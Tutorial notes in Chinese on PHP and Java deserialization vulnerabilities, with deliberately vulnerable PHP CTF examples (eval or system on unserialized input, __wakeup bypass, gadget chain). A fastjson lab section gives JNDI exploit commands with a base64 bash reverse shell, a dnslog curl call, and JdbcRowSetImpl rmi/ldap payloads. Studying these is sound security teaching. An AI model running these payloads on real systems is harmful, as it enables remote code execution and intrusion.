php反序列化
1.什么是序列化和反序列化
office word是程序
doc/docx是數據
保存word文件:程序--保存(序列化)-->數據文件
打開word文件:程序--加載數據文件-->還原(反序列化)
游戲存檔:角色等級,任務,人物坐標,背包里面的物品......
保存存檔:序列化,加密(設備id),數據文件
還原存檔:讀取數據文件,解密(設備id),反序列化
2.類和對象
php面向過程(簡單): 上傳文件(1.判斷文件類型 2.判斷文件大小 3.判斷上傳的目錄是否存在 4.文件名處理 5.文件上傳)
php面向對象(復雜): 類(植物類)--模板 向日葵的子類 new對象(實例化)
植物大戰僵尸:
植物: 消耗陽光數量 能否攻擊 子彈傷害和射速 防御值
子彈類: 外觀 動畫效果 速度 傷害
僵尸類:普通僵尸 鐵桶僵尸
3.php反序列化原理:
反序列化漏洞原理:序列化和反序列化本身沒有問題,但是如果反序列化的內容是用戶可以控制的,且后臺不正當的使用了PHP中的魔法函數,就會導致安全問題
4.php中常見的幾個魔法函數:
__construct()當一個對象創建時被調用
__destruct()當一個對象銷毀時被調用
__toString()當一個對象被當作一個字符串使用
__sleep() 在對象在被序列化之前運行
__wakeup將在序列化之后立即被調用
代碼案例
class 小狗 { public $名字; public $顏色; // 這就是構造函數 初始化函數public function __construct($名字, $顏色) { $this->名字 = $名字; $this->顏色 = $顏色; echo "一只名叫" . $this->名字 . "、顏色是" . $this->顏色 . "的小狗誕生了!"; echo "<hr>";} //序列化的時候執行public function __sleep(){echo "要睡覺了";echo "<hr>";return array($this->名字,$this->顏色);}//反序列化的時候執行public function __wakeup(){echo "被打醒了";echo "<hr>";}//被當作字符串的時候執行public function __toString(){return '旺財';} //銷毀函數public function __destruct(){echo "我還會回來的";echo "<hr>";}public function 叫() { echo "汪汪汪!"; echo "<hr>";}
} // 創建一個新的小狗對象
// $我的小狗 = new 小狗("旺財", "棕色"); // echo serialize($我的小狗);
$a='O:6:"小狗":2:{s:6:"旺財";N;s:6:"棕色";R:2;}';
$b=unserialize($a);
// 調用小狗的“叫”方法
$b->叫();echo $b;
echo "<hr>";
5.php反序列化例題講解
例題1:
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{public $a = 'echo "this is test!!";';public function displayVar() {eval($this->a);}
}$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;?>
例題2:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {var $cmd = "echo 'dazhuang666!!';" ;public function __destruct(){eval ($this->cmd);}
}
$ser = $_GET["benben"];
unserialize($ser);?>
例題3:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password) {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {system($this->username);}
}
$cmd = $_GET['benben'];
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>
例題4:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {system($this->username);}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
6.PHP訪問權限修飾符Public、Protected、private
7.php反序列化wakeup繞過
案例1:
<?php
//error_reporting(0);
class secret{var $file='index.php';public function __construct($file){$this->file=$file;}function __destruct(){include_once($this->file);echo $flag;}function __wakeup(){$this->file='index.php';}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){highlight_file(__FILE__);
}
else{unserialize($cmd);
}
//sercet in flag.php
?>
8.php反序列化調用鏈
案例:
<?phphighlight_file(__FILE__);error_reporting(E_ALL & ~E_NOTICE);class A{public $a;public function __destruct(){$this->function_a();}public function function_a(){$this->a->close();}} class B{public $exp;function close(){eval($this->exp);}}$cmd = $_GET['666'];$cmd_unserialize = unserialize($cmd);
?>
java反序列化漏洞
shiro反序列化
Vulhub - Open-Source Vulnerable Docker Environments
Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。
fastjson反序列化
工具1:
java的反彈shell用棱角社區生成
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5LjM5LzgwMDAgMD4mMQ==}|{base64,-d}|
{bash,-i}'
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl
http://vvvv.k6ph1u.dnslog.cn'
burp發送payload
請求頭修改多媒體類型
Content-Type: application/json
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.19.39:1099/nig6hq","autoCommit":true}
}
工具二:
顯示用法
java -jar JNDIExploit-2.0-SNAPSHOT.jar --ip 192.168.19.39 -u
burp發送payload
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.19.39:1389/Basic/Command/Base64/Y3VybCAgaHR0cDo
vL2JiYmJiYmJiLnAwaTh0cS5kbnNsb2cuY24=","autoCommit":true}
}